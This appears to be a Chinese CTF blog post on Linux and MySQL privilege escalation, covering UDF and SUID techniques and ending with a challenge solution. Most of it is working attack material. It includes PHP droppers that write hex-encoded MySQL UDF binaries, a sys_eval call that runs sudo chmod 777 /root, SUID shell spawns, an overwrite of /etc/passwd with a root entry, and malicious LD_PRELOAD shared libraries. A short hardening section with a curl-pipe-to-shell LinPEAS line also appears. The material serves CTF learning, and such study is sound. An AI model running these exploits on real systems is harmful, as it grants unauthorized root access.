CTF中常见提权(一)

一.udf提权

1.一句话：由于db的错误配置导致错误设置了数据库有较高的所有权，进而导致提权
2.利用条件：sql错误配置()，可以连接数据库执行语句
3.平台关键文件：
windows:udf.dll
linux:udf.so

1 2	test:这里测试主题注意功能。。。注意：请使用 mysql/<数据库类型名> --version 查看是什么架构的。。。

4.大致流程
上马后发现有敏感文件由root创建->尝试读取无效->已知数据库类型连接方式查看/etc/passwd->看用户->用SFTP或蚁剑上传文件->
使用show variables like "%plugin%";查看插件目录->使用sqlmap对udf64.so/udf32.so（或dll）进行解密

1	python "/usr/share/sqlmap/extra/cloak/cloak.py" -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf64.so

或者可以利用马子上传直接写文件：
64位linux：

<?php
file_put_contents('udf.so',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a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echo "Done!"
?>

32位linux：

<?php
file_put_content('udf.so',hex2bin('7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d931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echo "Done!";
?>

如何获取只要从github上找相关的就行了，sqlmap需见第一条。
上传后请确保将文件复制到show variables like %plugins%;输出的结果路径中。

1	create function sys_eval returns string soname '<你的上传名称>';

1
2
3

看下有没有sudo
select sys_eval('sudo chmod 777 /root');
修改所有权

二.suid提权

1.一句话：SUID（Set User ID）是一种特殊的文件权限，允许用户以文件所有者的权限执行文件。如果配置不当，可能被用于权限提升
2.SUID 权限基础
查看 SUID 文件

# 查找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 查找 SUID 文件并显示详细信息
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

SUID 权限表示

1 2	# SUID 文件权限显示为 's' 而不是 'x' -rwsr-xr-x 1 root root /usr/bin/passwd

常见的 SUID 利用方式

已知 SUID 二进制文件利用
find 命令

# 利用 find 执行命令
find / -exec /bin/sh \; -quit

# 或者
find . -exec /bin/sh -p \; -quit
nano/vim 编辑器

1
2
3

# 如果 nano 有 SUID
nano /etc/passwd
# 可以尝试添加用户或修改文件

如果 bash 有 SUID

bash -p
cp/mv 命令
bash
# 覆盖敏感文件
cp /bin/bash /tmp/shell
chmod +s /tmp/shell

利用系统命令
通过 cp 覆盖文件

# 如果有 SUID 的 cp
echo 'root:password:0:0:root:/root:/bin/bash' > /tmp/passwd
cp /tmp/passwd /etc/passwd
通过 tar 备份恢复

创建恶意备份

cd /tmp
echo -e '#!/bin/bash\nbash -p' > shell.sh
tar cf /tmp/exploit.tar shell.sh

# 如果有 SUID tar 可以提取到敏感位置
tar xf /tmp/exploit.tar -C /usr/local/bin

手动创建 SUID Shell
方法 1：使用 cp（如果有 SUID cp）

# 复制 bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell

# 执行
/tmp/rootshell -p

方法 2：使用 find 执行

# 创建临时目录和文件
mkdir /tmp/exploit
echo '/bin/bash -p' > /tmp/exploit/shell.sh
chmod +x /tmp/exploit/shell.sh

# 使用 SUID find 执行
find /tmp/exploit -name shell.sh -exec {} \;

方法 3：使用脚本语言

1
2
3

import os
os.setuid(0)
os.system('/bin/bash')

Perl

1
2
3

#!/usr/bin/perl
$< = $>; $( = $) = 0; $? = 0;
exec '/bin/bash';

3.高级利用技术

共享库劫持

(1)创建恶意共享库
cat > /tmp/libhack.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
    setuid(0);
    system("/bin/bash -p");
}
EOF

(2)编译

1	gcc -fPIC -shared -o /tmp/libhack.so /tmp/libhack.c -nostartfiles

(3)设置 LD_PRELOAD

1	LD_PRELOAD=/tmp/libhack.so /path/to/suid_binary

环境变量利用

# 如果程序调用系统命令而不使用完整路径
export PATH=/tmp:$PATH
echo '/bin/bash -p' > /tmp/ls
chmod +x /tmp/ls

# 执行 SUID 程序
/path/to/suid_program

符号链接攻击

# 创建符号链接到敏感文件
ln -s /etc/passwd /tmp/malicious_link

# 如果 SUID 程序会操作这个链接文件

10.防御措施

系统加固
bash
# 查找并移除不必要的 SUID 文件
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# 移除不必要的 SUID 权限
chmod u-s /path/to/file

# 定期审计 SUID 文件
sudo find / -perm -4000 -type f > suid_audit.txt
安全配置
bash
# 使用 nosuid 挂载选项
mount -o remount,nosuid /tmp

# 在 /etc/fstab 中配置
tmpfs   /tmp    tmpfs   nosuid,nodev,noexec   0 0
检测工具
使用 LinPEAS 检测
bash
# 下载并运行 LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
使用 SUID3NUM
bash
git clone https://github.com/Anon-Exploiter/SUID3NUM
python3 suid3num.py

解题：

[UUCTF 2022 新生赛]uploadandinject

题目：

<?php
echo <<<EOF
<form action="index.php" method ='GET'>
<div align="center">
  image_path:<input type="text" name="image_path" value="upload/1.jpg">
  <input type="submit" value="加载">
</div>
</form>
EOF;
$PATH=$_GET["image_path"];
if((!isset($PATH))){
    $PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
  if(file_exists($img_path)){
    putenv("LD_PRELOAD=/var/www/html/$img_path");
    system("echo Success to load");
    echo "<br><img src=$img_path>";
  }else{
    system("echo Failed to load ");
  }
}
?>

脚本：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
	//反弹shell
	system("cat /f* > /var/www/html/flag.txt");
}

char *strcpy (char *__restrict __dest, const char *__restrict __src) {
	if (getenv("LD_PRELOAD") == NULL) {
		return 0;
	}
	unsetenv("LD_PRELOAD");
	payload();
}

编译：

1	gcc -fPIC -shared -o <generatefilename> <yourfile> -nostartfiles

CTFshow 654

见https://fallingskies22.github.io/post/ctfshowzhong-ji-kao-he/

本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可

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